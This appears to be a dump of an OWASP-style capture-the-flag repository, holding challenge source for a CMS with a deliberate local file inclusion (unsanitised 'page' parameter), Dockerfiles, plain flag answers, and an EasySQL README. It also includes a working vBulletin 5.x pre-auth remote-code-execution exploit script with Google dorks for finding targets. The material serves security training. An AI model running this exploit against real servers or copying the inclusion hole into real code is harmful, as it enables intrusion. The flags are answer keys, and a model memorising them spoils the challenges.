https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.woff -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-regular-400.woff2 -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.eot -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.ttf -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.woff -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/022bloglfi/src/ViroCMS/app/tpl/webfonts/fa-solid-900.woff2 -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/example.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/index.php: -------------------------------------------------------------------------------- 1 | Please ensure the app/db folder is writable to the server and you have run the installer.

'; 25 | die(); 26 | } 27 | 28 | # Logout 29 | if(Viro::LoggedIn() && isset($_GET['logout'])) { 30 | session_destroy(); 31 | session_start(); 32 | } 33 | 34 | # Simple templating 35 | if(Viro::LoggedIn()) { 36 | if(!isset($_GET['page']) || empty($_GET['page'])) { 37 | Viro::LoadView('dashboard'); 38 | }else{ 39 | Viro::LoadView($_GET['page']); 40 | } 41 | }else{ 42 | Viro::LoadView('login'); 43 | } 44 | ?> -------------------------------------------------------------------------------- /022bloglfi/src/ViroCMS/install.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /022bloglfi/src/flag_in_this_dir/this_is_flag.txt: -------------------------------------------------------------------------------- 1 | FLAG{Live_For_Inclusions} 2 | -------------------------------------------------------------------------------- /022bloglfi/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /023vb/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /023vb/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM p8361/vbulletin-cve-2015-7808 2 | RUN echo "FLAG{vBulletin_5.x_0day_pre-auth_RCE_exploit}" >> /etc/passwd 3 | CMD /run.sh ; sleep infinity 4 | -------------------------------------------------------------------------------- /023vb/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # vBulletin 5.x 0day pre-auth RCE exploit 4 | # 5 | # This should work on all versions from 5.0.0 till 5.5.4 6 | # 7 | # Google Dorks: 8 | # - site:*.vbulletin.net 9 | # - "Powered by vBulletin Version 5.5.4" 10 | 11 | import requests 12 | import sys 13 | 14 | if len(sys.argv) != 2: 15 | sys.exit("Usage: %s " % sys.argv[0]) 16 | 17 | params = {"routestring":"ajax/render/widget_php"} 18 | 19 | while True: 20 | try: 21 | cmd = raw_input("vBulletin$ ") 22 | params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;" 23 | r = requests.post(url = sys.argv[1], data = params) 24 | if r.status_code == 200: 25 | print r.text 26 | else: 27 | sys.exit("Exploit failed! :(") 28 | except KeyboardInterrupt: 29 | sys.exit("\nClosing shell...") 30 | except Exception, e: 31 | sys.exit(str(e)) 32 | -------------------------------------------------------------------------------- /024apk/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /024apk/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | COPY src/ /var/www/html/ 3 | -------------------------------------------------------------------------------- /024apk/src/.htaccess: -------------------------------------------------------------------------------- 1 | Options +Indexes 2 | -------------------------------------------------------------------------------- /024apk/src/beer-truths.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/024apk/src/beer-truths.apk -------------------------------------------------------------------------------- /025easysql/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /025easysql/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /025easysql/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctftraining/base_image_nginx_mysql_php_73 2 | 3 | 4 | COPY ./files /tmp/ 5 | RUN cp -rf /tmp/html/ /var/www/ \ 6 | && cp -f /tmp/flag.sh /flag.sh \ 7 | && chown -R www-data:www-data /var/www/html \ 8 | && sed -i 's/skip-networking/#skip-networking/' /etc/my.cnf.d/mariadb-server.cnf 9 | -------------------------------------------------------------------------------- /025easysql/README.md: -------------------------------------------------------------------------------- 1 | # SUCTF 2019 EasySQL 2 | 3 | ## 题目详情 4 | 5 | - **SUCTF 2019 EasySQL** 6 | 7 | 题很简单,复现的话主要是为了给师傅们验证思路。 8 | 9 | ## 考点 10 | 11 | - SQL 花式注入 12 | 13 | ## 启动 14 | 15 | docker-compose up -d 16 | open http://127.0.0.1:8302/ 17 | 18 | ## 版权 19 | 20 | 该题目复现环境尚未取得主办方及出题人相关授权,如果侵权,请联系本人删除( i@zhaoj.in ) 21 | -------------------------------------------------------------------------------- /025easysql/files/html/config.php: -------------------------------------------------------------------------------- 1 | 16 | **Write-up** (інструкція з вирішення всіх завдань) https://github.com/sp1ral-vx/owasp-ukraine-ctf-2019-writeups/blob/master/README.md 17 | --------------------------------------------------------------------------------